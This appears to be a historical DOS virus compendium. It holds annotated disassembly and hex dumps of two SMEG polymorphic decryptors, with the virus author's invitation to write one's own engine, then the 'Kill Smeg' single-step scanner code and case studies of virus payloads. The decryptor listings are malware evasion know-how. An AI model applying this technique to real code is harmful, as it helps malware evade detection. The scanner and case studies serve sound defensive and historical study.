016D      ADD     DI,[3B04]       ;junk

0171      MOV     AL,50           ;*  Set up decrypt KEY reg

0173      JNB     0179            ;junk
0175      MOV     SI,1439         ;junk
0179      JB      017D            ;junk
017B      ADC     DI,AX           ;junk
017D      JMP     0185            ;junk
0180      MOV     BP,1B36         ;junk
0184      RET                     ;junk
0185      RCR     SI,1            ;junk

0187      MOV     BX,842D         ;*  Set up the INDEX register

018A      SUB     SI,CX           ;junk * Decryptor MAIN LOOP

018C      OR      DI,0B0F         ;junk
0190      MOV     BP,1E3E         ;junk
0194      RCL     DI,CL           ;junk
0196      SUB     BP,2E12         ;junk
019A      ADD     DI,[2E2A]       ;junk
019E      ROL     SI,CL           ;junk

01A0      MOV     CL,[BX+7E43]    ;*  Get next encrypted byte
                                  ;   NOTE:  original index 842Dh plus 7E43h =
                                  ;   10270h AND FFFFh = 0270h!  Which is the
                                  ;   start of the Encrypted code!

01A4      JZ      01AC            ;junk
01A6      TEST    BH,[DI+2B3B]    ;junk
01AA      CMP     [BP+SI],DL      ;junk
01AC      ROL     DI,1            ;junk
01AE      SBB     DI,263A         ;junk

01B2      DEC     DX              ;*  Dec the COUNT register (x1)

01B3      CALL    0180            ;junk
01B6      MOV     DI,CX           ;junk
01B8      ADC     BP,282E         ;junk

01BC      SUB     CL,AL           ;*  Decrypt byte using KEY reg

01BE      MOV     SI,372A         ;junk
01C2      TEST    BP,3A10         ;junk
01C6      CALL    0180            ;junk
01C9      ADC     SI,1317         ;junk
01CD      CLD                     ;junk

01CE      INC     AX              ;*  Increase the KEY reg

01CF      XOR     SI,203D         ;junk
01D3      JMP     01E1            ;junk
01D6      DEC     DI              ;junk
01D7      CMC                     ;junk
01D8      SUB     BP,[3624]       ;junk
01DC      XOR     SI,0200         ;junk
01E0      RET                     ;junk
01E1      CMP     [SI+13],BH      ;junk
```

```
01E4    SUB     DX,0001         ;*  Dec the COUNT register (x2)

01E8    CMP     AX,0517         ;junk
01EC    SUB     BP,2816         ;junk
01F0    AND     SI,0807         ;junk
01F4    SUB     SI,2E03         ;junk
01F8    ROR     BP,1            ;junk
01FA    INC     DI              ;junk
01FB    RCR     SI,CL           ;junk
01FD    TEST    CH,DH           ;junk
01FF    SUB     BP,1026         ;junk

0203    MOV     [BX+7E43],CL    ;*  Store the decrypted byte

0207    JNB     020D            ;junk
0209    XOR     DI,1B30         ;junk
020D    CLD                     ;junk
020E    ADD     SI,3C38         ;junk

0212    INC     BX              ;*  Increase the INDEX reg

0213    XOR     DI,0B2C         ;junk
0217    JMP     022F            ;junk
021A    OR      BP,1C18         ;junk
021E    JLE     0221            ;junk
0220    DEC     BP              ;junk
0221    ADC     SI,0E32         ;junk
0225    AND     DI,1522         ;junk
0229    CMP     [BP+SI+36],BH   ;junk
022C    ROL     SI,1            ;junk
022E    RET                     ;junk
022F    SHL     DI,1            ;junk
0231    SHR     DI,1            ;junk

0233    DEC     DX              ;*  Dec the COUNT register (x3)
                                ;   Hence the 3x original size!

0234    JNZ     023F            ;*  Not zero then jump to 023Fh

0236    TEST    CL,[BP+DI]      ;junk
0238    ADC     BP,012D         ;junk

023C    JMP     025B            ;*  Finished decrypting!

023F    INC     BP              ;junk
0240    JNB     0246            ;junk
0242    CMP     BX,0E2E         ;junk
0246    TEST    DI,SI           ;junk
0248    SBB     SI,3233         ;junk

024C    MOV     CX,018A         ;*  Set address of MAIN LOOP

024F    ROL     DI,1            ;junk
0251    SUB     DI,BX           ;junk
0253    SHR     DI,1            ;junk
0255    TEST    BL,[BX+DI+1C2E] ;junk

0259    PUSH    CX              ;*  Stack LOOP address
025A    RET                     ;*  RETurn to MAIN LOOP

025B    MOV     SI,211F         ;junk
025F    CMP     BL,[BX+DI]      ;junk
0261    SUB     BP,2D33         ;junk
```

```
0265    MOV     BP,3735         ;junk
0269    XOR     SI,SI           ;junk
026B    MOV     BP,[0A38]       ;junk
026F    INC     DI              ;junk


0270    The encrypted code starts here.

;****************** End of decryptor 1 assembler listing. ******************


;Assembler listing for encryptor 2, size 480 bytes.
;☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻☻
;Size of the encrypted code was 07DBh (2011 bytes)
;The encrypted code started at address 02E0h

;This decryptor was generated to use the following registers:
;
;   AX = Count of bytes in the encrypted code
;   BX = Index pointing to the encrypted code
;   DL = The encryption key
;   CL = General work register

0100    NOT     SI              ;junk
0102    TEST    CH,[BP+DI+0F]   ;junk
0105    INC     DI              ;junk
0106    CLD                     ;junk
0107    ADC     DI,132A         ;junk
010B    JPE     0111            ;junk
010D    OR      DI,332E         ;junk
0111    INC     SI              ;junk
0112    TEST    AL,CH           ;junk
0114    JMP     0120            ;junk
0117    JPE     011D            ;junk
0119    CMP     DX,1909         ;junk
011D    RCR     DI,CL           ;junk
011F    RET                     ;junk
0120    INC     DI              ;junk
0121    TEST    DI,BP           ;junk
0123    JMP     0133            ;junk
0126    TEST    DI,0E24         ;junk
012A    TEST    DI,093A         ;junk
012E    AND     DI,SP           ;junk
0130    CMP     [BP+SI],BH      ;junk
0132    RET                     ;junk
0133    MOV     BP,0C28         ;junk
0137    TEST    DH,CH           ;junk
0139    TEST    BP,1C16         ;junk
013D    ROR     BP,CL           ;junk
013F    JZ      0145            ;junk
0141    TEST    DH,[BX]         ;junk
0143    ADD     DI,SP           ;junk
0145    TEST    CL,[SI+3435]    ;junk
0149    MOV     BP,2E08         ;junk
014D    TEST    CX,DI           ;junk
014F    CLD                     ;junk
0150    MOV     SI,3831         ;junk
0154    AND     BP,363E         ;junk
0158    ROR     DI,CL           ;junk
015A    CLC                     ;junk
015B    JNS     0163            ;junk
015D    SAR     SI,1            ;junk
015F    SBB     DI,3308         ;junk
0163    SBB     DI,362B         ;junk
```

```
0167    MOV     AX,07DB         ;*  Set up the COUNT register

016A    AND     DI,0F1E         ;junk
016E    JMP     0182            ;junk
0171    MOV     DI,2F31         ;junk
0175    CMP     CX,2212         ;junk
0179    SBB     SI,2E14         ;junk
017D    TEST    BL,[SI+341D]    ;junk
0181    RET                     ;junk
0182    CMP     BH,19           ;junk


0185    MOV     BX,B977         ;*  Set up the INDEX register

0188    TEST    AL,[DI+072C]    ;junk
018C    TEST    DI,2306         ;junk
0190    SHR     SI,1            ;junk

0192    MOV     DX,CS           ;*  Get CODE SEG in DX

0194    CALL    0171            ;junk
0197    TEST    SI,1410         ;junk
019B    CLC                     ;junk
019C    SHL     DI,CL           ;junk

019E    MOV     DS,DX           ;*  Make DATA SEG = CODE SEG

01A0    NEG     SI              ;junk
01A2    CALL    0171            ;junk
01A5    TEST    CH,[BP+DI+070F] ;junk

01A9    MOV     DL,8D           ;*  Set decrypt KEY register

01AB    MOV     DI,3A30         ;junk
01AF    JMP     01B9            ;junk
01B2    JBE     01B5            ;junk
01B4    INC     DI              ;junk
01B5    NOT     DI              ;junk
01B7    CMC                     ;junk
01B8    RET                     ;junk
01B9    XOR     CX,DX           ;junk

01BB    CALL    01B2            ;junk * Decryptor MAIN LOOP

01BE    TEST    SI,3029         ;junk
01C2    INC     DI              ;junk
01C3    SBB     DI,1E19         ;junk
01C7    MOV     DI,0038         ;junk
01CB    RCR     DI,CL           ;junk
01CD    MOV     BP,1809         ;junk

01D1    NEG     BYTE PTR [BX+4969]      ;*  NEG the byte at [BX + 4969]
                                        ;   NOTE:  original index B977h plus
                                        ;   4969h = 102E0h AND FFFFh = 02E0h!
                                        ;   Which is the start of the
                                        ;   encrypted code!


01D5    TEST    BP,2A37         ;junk
01D9    CMP     CX,2B37         ;junk
01DD    JMP     01E2            ;junk
01E0    DEC     DI              ;junk
01E1    RET                     ;junk

01E2    MOV     CL,[BX+4969]    ;*  Get the NEGed byte into CL
```

```
01E6    CMC                         ;junk
01E7    ROR     DI,CL               ;junk
01E9    INC     BP                  ;junk
01EA    TEST    DI,281E             ;junk
01EE    JZ      01F3                ;junk
01F0    TEST    BH,[BX+DI+05]       ;junk
01F3    MOV     DI,160C             ;junk
01F7    SUB     BP,BP               ;junk

01F9    XOR     CX,DX               ;*  XOR byte with the KEY

01FB    TEST    BL,[BP+DI+3C]       ;junk
01FE    JNB     0204                ;junk
0200    ADD     BP,0A13             ;junk
0204    CMP     [BX+DI],CL          ;junk
0206    CALL    01E0                ;junk
0209    CALL    01E0                ;junk
020C    DEC     DI                  ;junk
020D    AND     DI,073A             ;junk

0211    DEC     AX                  ;*  Decrease the COUNT register

0212    XOR     DI,2036             ;junk
0216    NEG     BP                  ;junk
0218    ADC     DI,SP               ;junk
021A    CMC                         ;junk
021B    CMP     BL,[BX+SI]          ;junk

021D    DEC     DX                  ;*  Decrease the KEY register

021E    ADC     BP,1821             ;junk
0222    SHL     DI,CL               ;junk
0224    CMP     AX,1816             ;junk
0228    SHL     DI,1                ;junk
022A    CMP     AL,[BP+DI+1A]       ;junk
022D    MOV     SI,1819             ;junk
0231    ADD     SI,063B             ;junk

0235    DEC     DX                  ;*  Decrease the KEY register

0236    SUB     BP,0028             ;junk
023A    AND     BP,1930             ;junk
023E    CLD                         ;junk
023F    ADC     BP,2D1D             ;junk
0243    SAR     DI,CL               ;junk

0245    XCHG    CX,DX               ;*  Swap CX & DX

0247    TEST    CX,DX               ;junk
0249    MOV     SI,CX               ;junk
024B    XOR     SI,030D             ;junk
024F    SUB     DI,311C             ;junk

0253    XCHG    DL,[BX+4969]        ;*  Swap [index] & DL
                                    ;   NOTE:  This restores the decrypted byte!

0257    ADD     DI,0E13             ;junk
025B    CMP     BL,[BP+DI+33]       ;junk
025E    CLD                         ;junk
025F    NOT     SI                  ;junk
0261    MOV     SI,3F1C             ;junk

0265    XCHG    CX,DX               ;*  Swap CX & DX, restoring the KEY in DL
```

```
0267     MOV     SI,221A          ;junk
026B     OR      BP,0D2C          ;junk
026F     MOV     DI,231B          ;junk

0273     ADD     BX,0001          ;*  Increase the INDEX register

0277     JMP     0288             ;junk
027A     ADC     BP,AX            ;junk
027C     TEST    BL,[DI+19]       ;junk
027F     TEST    DI,0321          ;junk
0283     NEG     DI               ;junk
0285     ROL     SI,CL            ;junk
0287     RET                      ;junk
0288     SBB     BP,1B0D          ;junk
028C     XOR     BP,2A23          ;junk
0290     CMP     DL,3A            ;junk
0293     TEST    BH,[DI]          ;junk

0295     AND     AX,AX            ;*  Test if COUNT is zero
0297     JNZ     02AD             ;*  Jump to 02ADh if not

0299     CALL    027A             ;junk
029C     AND     DI,291F          ;junk
02A0     JA      02A6             ;junk
02A2     MOV     DI,0514          ;junk
02A6     ADC     SI,1F2A          ;junk

02AA     JMP     02BC             ;*  Finished decrypting

02AD     JMP     02B2             ;junk
02B0     CLC                      ;junk
02B1     RET                      ;junk
02B2     SHL     DI,CL            ;junk
02B4     CLD                      ;junk
02B5     ADD     SI,2C1A          ;junk

02B9     JMP     01BB             ;*  Jump to MAIN LOOP

02BC     TEST    BH,BL            ;junk
02BE     MOV     DI,210C          ;junk
02C2     SUB     SI,1600          ;junk
02C6     CALL    02B0             ;junk
02C9     XOR     SI,2F1D          ;junk
02CD     MOV     BP,0430          ;junk
02D1     TEST    BH,[DI+362A]     ;junk
02D5     OR      DI,1C21          ;junk
02D9     STC                      ;junk
02DA     CMP     DI,2828          ;junk
02DE     CLC                      ;junk
02DF     DEC     BP               ;junk

02E0     The encrypted code starts here.

;****************** End of decryptor 2 assembler listing. ******************
```

The following are the HEX dumps for both of the above decryptors,
decryptor 1 is on the left and 2 is on the right. These dumps are to
show that it would be very difficult to find a signature that could be
applied to each of these decryptors in the hope of detecting them
both, this is the main purpose of a Polymorph Engine! To detect,
therefore, you would have to write a program that tries to use
intelligence to work out if what it is looking at is a Polymorph
generated decryptor. This is prone to false alarms or, in certain

cases, missing the decryptor totally!

```
HEX DUMP OF ENCRYPTOR 1, 368 bytes        HEX DUMP OF ENCRYPTOR 2, 480 bytes
█████████████████████████████████        █████████████████████████████████████
 7901FCD3FE81FD0807F97F020BF181F7          F7D6846B0F47FC81D72A137A0481CF2E
 213281C5050881E51235D3EEC7C6041B          334684C5E909007A0481FA0919D3DFC3
 D3FF81D6062581D7111F1B2E3E0F81FD          4785FDE90D00F7C7240EF7C73A0923FC
 1E3F4EF7D781E63D084681DF0301BA91          383AC3C7C5280C84F5F7C5161CD3CD74
 17FC720285F01BFC853E1B25840CD1E5          04843703FC848C3534C7C5082E85CFFC
 BB7D01F5C7C718127002D1DFF939FD8C          C7C6313881E53E36D3CFF87906D1FE81
 C8846F1781DD073147D1DD8ED8033E04          DF083381DF2B36B8DB0781E71E0FE911
 3BB0507304C7C63914720213F8E90500          00C7C7312F81F9122281DE142E849C1D
 C7C5361BC3D1DEBB2D842BF181CF0F0B          34C380FF19BB77B984852C07F7C70623
 C7C53E1ED3D781ED122E033E2A2ED3C6          D1EE8CCAE8DAFFF7C61014F8D3E78EDA
 8A8F437E740684BD3B2B3812D1C781DF          F7DEE8CCFF84AB0F07B28DC7C7303AE9
 3A264AE8CAFF8BF981D52E282AC8C7C6          0700760147F7D7F5C333CAE8F4FFF7C6
 2A37F7C5103AE8B7FF81D61713FC4081          29304781DF191EC7C73800D3DFC7C509
 F63D20E90B004FF52B2E243681F60002          18F69F6949F7C5372A81F9372BE90200
 C3387C1381EA010081F8170581ED1628          4FC38A8F6949F5D3CF45F7C71E287403
 81E6070881EE032ED1CD47D3DE84EE81          847905C7C70C162BED33CA845B3C7304
 ED2610888F437E730481F7301BFC81C6          81C5130A3809E8D7FFE8D4FF4F81E73A
 383C4381F72C0BE9150081CD181C7E01          074881F73620F7DD13FCF53A184A81D5
 4D81D6320E81E72215387A36D1C6C3D1          2118D3E781F81618D1E73A431AC7C619
 E7D1EF4A7509840B81D52D01E91C0045          1881C63B064A81ED280081E53019FC81
 730481FB2E0E85FE81DE3332B98A01D1          D51D2DD3FF87CA85CA8BF181F60D0381
 C72BFBD1EF84992E1C51C3C7C61F213A          EF1C318697694981C7130E3A5B33FCF7
 1981ED332DC7C5353733F68B2E380A47          D6C7C61C3F87CAC7C61A2281CD2C0DC7
                                           C71B2381C30100E90E0013E8845D19F7
                                           C72103F7DFD3C6C381DD0D1B81F5232A
                                           80FA3A843D23C07514E8DEFF81E71F29
                                           7704C7C7140581D62A1FE90F00E90200
                                           F8C3D3E7FC81C61A2CE9FFFE84FBC7C7
                                           0C2181EE0016E8E7FF81F61D2FC7C530
                                           0484BD2A3681CF211CF981FF2828F84D
```

Well, I hope this brief insight into the workings of a Polymorph Engine have
enlightened and possibly inspired you into having a go at writing one yourself?

███ (C) The Black Baron ███

SCANNING ENCRYPTED PROGRAMS:

Encrypted computer viruses, are difficult to analyse because when they
exist as a file on disk they are in an inactive state. They only
materialise into their true code when loaded into memory and executed
by the CPU. The diagram below illustrates the basic steps.

```
████████████╘       █████████████╘        █████████████╘        ██████╘
█ ENCRYPTED █████>███ĵ DOS LOADER █████>███ĵ DECRYPTION █████>███ĵ REAL █
█ CODE      █       ██████████████        █ PHASE      █        █ CODE █
█████████████       ██████████████        ██████████████        ████████
```

The encrypted code is meaningless. Apparently random bytes. But it
commences with a non-encrypted, although possibly disguised,
decryptor. When the program is executed, the DOS loader reads the
program into memory and the CPU commences execution at the program
entry point. The first section of code to be executed is the decryptor
which changes the remaining bytes of the program into their real
values. At the end of this phase the real program is in memory and
vulnerable to detection and analysis.

The problem is how to convert the encrypted code into the vulnerable
real code. Stormbringer of Phalcon/Skism illustrated great success
with detecting the Pathogen and Queeg viruses despite their
polymorphic encryption with a program called "kill smeg" which he
released into the public domain. Unfortunately public ignorance of the
program resulted in it being shunned as a virus!

The principle in Kill Smeg is so simple it is briliant. It relies upon
a feature of the CPU called the "single step interrupt". When the
"trap flag" is set, the CPU executes one instruction and then calls
interrupt 01. At this point the stack pointer points 2 bytes before
the next instruction to be executed. A simple mov bp,sp followed by an
add bp,2 sets bp to point to the next instruction which will be
executed. This allows an interrupt 01 handler to check what the next
instruction to be executed is, and can abort program execution before
the program being analysed does any thing nasty.

To sum up the technique is as follows:

Load the program to be analysed into memory
Set up an interrupt 01 handler
Activate CPU single stepping
Activate loaded program
Abort loaded program when it tries to do anything unauthorised
Search memory which now holds a probably decrypted copy of the program

Unathorised commands include interrupt calls, which might be used to
deactivate our single stepper. Far jumps and calls, which could be
sneaky methods of accessing DOS or BIOS routines to carry out unwanted
acts, etc.

The following code was extracted from "Killsmeg" by Stormbringer.
Additional comments and editing by the author.


```
LoadAndCheckFile:
        push    cs
        pop     ds
        mov     ax,ds:[2c]                  ; Preserve address of our env seg
        mov     EnvSeg,ax
        mov     ax,ds
        mov     word ptr [CommandTail+2],ax
        mov     word ptr [FCB1+2],ax
        mov     word ptr [FCB2+2],ax
        mov     ax,offset ParmData
        mov     word ptr [CommandTail],ax
        mov     word ptr [FCB1],ax
        mov     word ptr [FCB2],ax

        mov     ax,3501
        int     21
        mov     IP01,bx
        mov     CS01,es           ;Get int 1 vector

        mov     ax,2501
        mov     dx,offset Int01   ;And set it
        int     21
        mov     ax,ss
        mov     Oldss,ax
        mov     oldsp,sp
        push    cs
        pop     es

LoadFile:
```

```asm
        mov     ax,4b01
        mov     bx,offset ParmBlock
        mov     dx,9e
        int     21                              ;Load file through DOS exec()
        jc      ErrorExecute
SetupExec:
        push    cs
        pop     ds
        mov     ax,2522
        mov     dx,offset ExecuteTerminated
        int     21                              ;Set Termination address

        mov     ah,62
        int     21                              ; Get PSP
        push    bx bx
        pop     es ds                           ; Copy to ES and DS

        mov     word ptr cs:[StartDS],bx        ; Save DS
        mov     ax,cs
        mov     word ptr ds:[0a],offset ExecuteTerminated
        mov     word ptr ds:[0c],ax             ;Set Termination Address

        cli                                     ; Set stack
        mov     ax,word ptr cs:[NewStack+2]
        mov     ss,ax
        mov     sp,word ptr cs:[NewStack]
        sti

        pushf                                   ; Init registers
        pop     ax                              ; as though from DOS
        or      ax,0100
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        mov     si,100
        xor     di,di
        xor     bp,bp                           ;
        push    word ptr cs:[NewCS]             ; Set up address of loaded
        push    word ptr cs:[NewIP]             ; program on stack
        push    ax
        popf
        retf                                    ; Set IP to loaded program

ExecuteTerminated:
        cld
        pushf
        pop     ax
        and     ax,not 100                      ;ditch trapflag
        push    ax
        popf
        cli                                     ; restore OUR ss and sp
        mov     ax,cs:[OldSS]
        mov     ss,ax
        mov     sp,cs:[OldSP]
        sti
        lds     dx,dword ptr cs:[IP01]
        mov     ax,2501
        int     21                              ; Set vector 1 to old IP
        push    cs cs
        pop     es ds                           ; reset ES and DS

        mov     ah,1a
        mov     dx,80                           ; Reset DTA
        int     21
```

```
ErrorExecute:
        ret

OldSS   dw      0
OldSP   dw      0


Int01:  ; Single step interrupt
        cld                     ; Called by the CPU after each instruction
        push    bp
        mov     bp,sp
        add     bp,2            ; BP points to next instruction to be executed
        push    ax bx cx dx es ds si di
        cmp     cs:TraceDone,1
        je      DOneInt01       ; If we've finished skip tests
        call    CheckESDS
        call    CheckOPCode
        jne     DoneInt01
        call    InitScanString
        call    ScanMemory
        call    InitScanString

DoneInt01:
        pop     di si ds es dx cx bx ax
        pop     bp
        iret

TerminateProgram:
        mov     byte ptr cs:[TraceDone],1
        mov     ax,4c00
        int     21

CheckOpCode:                    ; Check next to be executed opcode
        mov     si,[bp+2]
        mov     ds,si
        mov     si,[bp]
        cmp     byte ptr dS:[si],0cdh   ; INT ?
        je      NonvalidOp
        cmp     byte ptr ds:[si],0eah   ; JMP FAR ?
        je      NonvalidOp
        cmp     byte ptr ds:[si],09ah   ; CALL FAR ?
        je      NonvalidOp
        cmp     byte ptr ds:[si],0abh   ; STOS ?
        je      NonvalidOp
        cmp     byte ptr ds:[si],0adh   ; LODS ?
        je      NonvalidOp
        mov     al,byte ptr ds:[si]
        and     al,0f0
        cmp     al,60
        je      NonvalidOp
        cmp     al,90
        je      NonvalidOp
        cmp     al,0a0
        je      NonvalidOp
        cmp     word ptr ds:[si],00e8
        jne     ExitOpTest
        cmp     word ptr ds:[si+2],5800
ExitOpTest:
        ret

NonValidOp:
        jmp     TerminatePRogram
```

```
CheckESDS:                              ; Attempt to change ES or DS
        mov     ax,[bp+2]               ; from current code segment ?
        cmp     ax,word ptr cs:[NewCS]
        je      CSOkay
        jmp     TerminateProgram
CSOkay:
        mov     ax,[bp+2]
                mov     bx,ds
        cmp     bx,ax
        jne     DSNotEqualCS
CheckES:
        mov     bx,es
        cmp     bx,ax
        jne     ESNotEqualCS
ExitSEGCheck:
        ret
DSNotEqualCS:
        cmp     bx,word ptr cs:[StartDS]
        je      CheckES
        mov     byte ptr cs:[TraceDone],1
        jmp     TerminateProgram
ESNotEqualCS:
        cmp     bx,word ptr cs:[StartDS]
        je      ExitSEGCheck
        mov     byte ptr cs:[TraceDone],1
        jmp     TerminateProgram

OldInt01:
        IP01    dw      0
        CS01    dw      0

TraceDone       db      0
StartDS         dw      0


ParmBlock:
   EnvSeg       dw      0
   CommandTail  dd      0
   FCB1         dd      0
   FCB2         dd      0
   NewStack     dd      0
   NewIP        dw      0
   NEWCS        dw      0

ParmData        db      40 dup(0)
```


ACTUAL CASE STUDIES

The following discussions of some viruses may assist you in
understanding not only these viruses, but also the techniques used by
viruses in general.

CASE STUDY: PATHOGEN

Pathogen was the second virus released by the Black Baron and the

first SMEG (version 0.1) encrypted .COM and .EXE appending virus. When
an infected file is executed, Pathogen is loaded into memory where it
first checks whether it should trash the host hard drive. It does this
if the following conditions are all met:

1) The infected file is a 32nd incantation
2) The system date says today is Monday
3) The system time says it is between 17:00 and 17:59

If all the conditions are met, except that today is NOT monday, then
Pathogen will remove the floppy drive indicator from the CMOS RAM,
thereby disabling any floppy rives and requiring a setup program to be
executed.

If the hard disk is trashed, Pathogen will also lock the keyboard, and
change the CMOS RAM setup to indicate that NO floppy drives are
connected, before writing random rubbish to the hard disk sectors in a
random order.

After checking for a disk trash, if the disk trash does not occur then
Pathogen intercepts DOS execution commands. Any programs executed
while Pathogen is resident will be checked by Pathogen, and if
possible infected.

When Pathogen infects a file it sets that file's year field to the
21st Century. So files will NOT be infected if their year field is
already set to greater than 1999 as Pathogen assumes them to be
already infected.

CASE STUDY: 10 PAST 3 (THE 748 VIRUS)

The 10 Past 3, or 748, virus was isolated in early 1991. 10 Past 3 is
a memory resident infector of .COM programs, including COMMAND.COM.

The first time a program infected with the 10 Past 3 virus is
executed, this virus will install itself memory resident in low
available system memory, hooking interrupts 21 and 6B. Total system
and available free memory, as measured by the DOS CHKDSK program, will
not be altered.

Once the 10 Past 3 virus is memory resident, it will infect .COM
programs, including COMMAND.COM, when they are executed. Infected
programs will have a file length increase of 748 bytes with the virus
being located at the end of the file. The program's date and time in
the DOS disk directory listing will not be altered. No text strings
are visible within the viral code.

The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and
3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"
keys to be invoked occassionally when the system user enters a
character on the system keyboard. As a result, the character input
may not be the same as what the user intended. Additionally, it
either disables or interfers with the functioning of the following
devices on the days of any month indicated below:

        1st day of any month - keyboard
        10th day of any month - system hard disk
        16th day of any month - system monitor/display
        29th day of any month - disk drives

On the 22nd day of any month, unexpected system reboots may occur.

CASE STUDY: THE 911 VIRUS

The 911 virus is a direct variant of the "Armagedon the GREEK" virus,
derived merely by changing the text within and the dialing string. The
virus' size is 1079 bytes, making the smallest carrier 1081 bytes.
The main effect of the virus is to dial "911" every once in a while if
a modem is present on com ports 1-4 (the original virus dialed the
speaking clock in Greece). It is a memory resident .COM infector.

When executed, the 911 virus checks for residency. If it is already
installed, it simply passes control to the host file, otherwise, it
goes memory resident, hooking Int 08h and Int 21h. When 911 goes
resident, it uses a rather strange way of doing it. It re-executes
the program and uses an Int 27 to go memory resident, but because of
the second execution it does not truly terminate and is still able to
return control to the host.

Once memory resident, the 911 virus infect .COM files on execution
(whenever an Int 21, function 4bh is called) after checking if the
file has already been infected. The identification string the virus
uses to check for infection is the string "Support Your Police"
located near the end of the virus (the original was "Armagedon the
GREEK").

The infection process is also somewhat strange, as the virus allocates
all unused memory for itself, the loads the entire victim file into
memory in one call. It then "infects" it in memory, and writes it
back to the disk. Afterwards, it releases the memory.

All of the dialing and timing is handled from the Int 08 (Timer Click)
handler. When activated, it will dial 911 (police/fire/emergency) and
wait for several seconds. It sends the commands to all ports 1-4, so
the results of hardware other than modems connected to these ports may
be unpredictable.

The storage bytes are found at the very end of the file, with the
first byte encrypted by adding 0bh to its value. Infected files may
be repaired by restoring these bytes to the beginning, unencrypting
the first one, and cutting the virus off the end of the host program.
CASE STUDY: BAD BOY

The Bad Boy virus was first detected in May, 1991, and came from
Europe. Bad Boy is a memory resident infector of .COM programs, it
will infect COMMAND.COM.

The first time a program infected with Bad Boy is executed, the virus
will install itself memory resident at the top of system memory, but
below the 640K DOS boundary. Interrupt 21 will be hooked by the
virus. Interrupt 12 return is not moved. If the virus became memory
resident by booting from a disk with an infected COMMAND.COM, total
system memory and available free memory as indicated by the DOS CHKDSK
program will have decreased by 3,072 bytes. If Bad Boy became memory
resident by executing some other infected program (not COMMAND.COM),
then the decrease of 3,072 bytes of total system memory will occur,
but available free memory will have decreased by 6,704 bytes. The
additional bytes from available free memory is due to a low system
memory TSR installed by the virus.

After Bad Boy is resident, the virus will infect .COM files, including
COMMAND.COM, when they are executed. Infected .COM files will
increase in length by 1,000 bytes with the virus being located at the
beginning of infected files. Occasionally, infected programs will
increase in length by 1,001 bytes. The file date and time in the disk

directory will not be altered.

Infected programs will contain two text strings, the first of which
will be encrypted in replicated, natural infections of the virus.
These text strings are not displayed by the virus:

                    "The bad boy halt your system ..."
                    "The Bad Boy virus, Copyright (C) 1991."

The Bad Boy virus activates on a random basis, at which time it will
appear to hang the system. The hang is then followed by the virus
scrolling several screens of repeated characters, and then a system
halt occurs.

Known variants of Bad Boy are:
        Bad Boy 2: A later version of Bad Boy, Bad Boy 2 does not have
                    the TSR installed if the virus became memory from other
                    than booting from a disk with an infected COMMAND.COM.
                    The system hang, screen scrolling of characters, and
                    system halt may still occur, but not as frequently.
                    The text strings in the virus have been changed to:

                    "Make me better!"
                    "The Bad Boy virus, Version 2.0, Copyright (C) 1991."

                    As with Bad Boy, the first text string is encrypted in
                    replicated samples of Bad Boy 2.

        Immortal Riot: Received in August, 1993, Immortal Riot is a
                    memory resident infector of .COM programs, including
                    COMMAND.COM. It installs itself memory resident at the
                    top of system memory but below the 640K DOS boundary in
                    3,072 bytes of memory. Interrupt 21 will be hooked.
                    Immortal Riod infects .COM files when they are executed.
                    Infected files will increase in size by either 1,054 or
                    1,055 bytes, or may have the first 1,054 bytes overwritten
                    by the viral code. The virus will be at the beginning of
                    the file. The program's date and time in the DOS disk
                    directory listing will not be altered. The following
                    text strings are visible within the viral code in all
                    infected files:
                    "Senseless Destruction..."
                    "Protecting what we are joining together to take
                     on the world.."
                    "METAL MiLiTiA [iMM0RTAL RI0T] SVW"
                    The first text string above will occassionally be
                    displayed as a message on the system monitor. At this
                    time a system hang may occur.
                    Origin: Unknown August, 1993.

CASE STUDY: THE PHALCON/SKISM SHINY HAPPY VIRUS

This virus was written jointly by Dark Angel and Hellraiser.It is a
simple semi-stealth virus that doesn't actually replace interrupt
21h's vector in the interrupt table. Instead, it finds the DOS
interrupt 21h entry point and encodes an int 3 as the first byte.
Consequently, it is highly debugger-resistant. It also hides the file
size increase, albeit only in DOS directory listings. This way, it
avoids the CHKDSK cross-linking errors common to viruses hooking FCB
find first/next. The virus infects upon file executions.

The virus always activates, hooking the keyboard interrupt. When it
detects a happy face (emoticon), the virus changes it to a frown. The
Shiny Happy residency test follows:

Run the cursor across the following line:
         :-)   =)   \|-)   ;)   :*)
If any of the faces changed to frowns, then Shiny Happy is loose on your
system.

CASE STUDY: STORYTELLER

The Storyteller virus was detected in October, 1993. Its origin or
point of isolation is unknown. Storyteller is a memory resident
infector of .EXE programs, though it does not infect very small files.

When the first Storyteller virus infected program is executed, the
Storyteller virus will install itself memory resident as low system
memory TSR of 3,568 bytes. Interrupts 08, 16, 21, and FB will be
hooked by the virus in memory. The virus will install an additional
copy of itself in memory each time an infected program is executed, so
in case of advanced infections, the system will eventually run out of
memory.

Once the Storyteller virus is memory resident, it will infect .EXE
programs when they are executed. Infected .EXE programs will have a
file length increase of 3,184 to 3,196 bytes with the virus being
located at the end of the file. The program's date and time in the DOS
disk directory listing will have been updated to the current system
date and time when infection occurred. The following text string is
visible within the viral code in all Storyteller infected programs:

"STORYTELLER"

Ocassionaly, the Storyteller Virus will display the following text
within a box on the system monitor:

"Sitting on a grassy,beneath one of
the window of the church,was a little
girl.With her head bent back she was
gazing up at the sky and singing,while
one of her little hands was pointing
to the a tiny cloud that hovered like
a golden feather above her head.So co-
mpletely absorbed was she in watching
the cloud to which her string song or
incantation seemed addressed,that she
did not observe me when I rose and went
toward her.As I slowly approached the
child,I could see by her forehead,which in
the sunshine seemed like a globe of
pearl, and especially by her complextion
that she was uncommonly lovely.Her eyes
--which at one moment seemed blue_gray
at another violet,were shaded by long
black lashes,curving backword in a most
peculiar way,and these matched in hue
her eyebrows, and the trees that were
tossed about her tender throat and were
quivering in the sunlight.Gradully the
other features,especially the sensitive
full-lipped mouth,grew upon me as I st-
ood silently gazing. Here seemed to me
a more perfect beauty than had ever co-
me to me in my loveliest dreams of bea-
uty.Yet it was not her beauty so much
as the look she gave me that facinsted
me , melted me......"

This text is encrypted within the viral code, as are the following
text strings:

                    "By   :   Theodore Watts-Dunton"
                    "Sir   .   Press any key"

The Storyteller virus is a resident .EXE file infector. It's most
noticeable feature is display of a poem by Theodore Watts-Dunton.

